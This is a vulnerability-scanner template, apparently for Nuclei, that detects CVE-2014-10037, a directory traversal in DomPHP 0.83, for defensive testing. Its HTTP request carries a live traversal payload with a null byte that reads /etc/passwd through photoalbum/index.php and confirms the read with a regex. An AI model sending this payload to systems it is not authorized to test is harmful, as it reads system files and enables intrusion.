id: CVE-2014-10037

info:
  name: DomPHP 0.83 - Directory Traversal
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in DomPHP 0.83 and earlier allows remote attackers to have unspecified impacts via a .. (dot dot) in the url parameter to photoalbum/index.php.
  impact: |
    An attacker can read, modify, or delete sensitive files on the server, potentially leading to unauthorized access or data leakage.
  remediation: |
    Upgrade to a patched version of DomPHP or apply the necessary security patches to fix the directory traversal vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/30865
    - https://nvd.nist.gov/vuln/detail/CVE-2014-10037
    - http://www.exploit-db.com/exploits/30865
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/90582
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2014-10037
    cwe-id: CWE-22
    epss-score: 0.65405
    epss-percentile: 0.98505
    cpe: cpe:2.3:a:domphp:domphp:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: domphp
    product: domphp
  tags: cve2014,cve,lfi,edb,domphp,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/photoalbum/index.php?urlancien=&url=../../../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022036f02d1d5d653852e7afc6c199059625492f2890a5cae7a7db66ee3a6e2523c4022100dfba6b11ef3fa04977ec485b1e93695084d6e85b17aafeef97b2670a1cf0b742:922c64590222798bb761d5b6d8e72950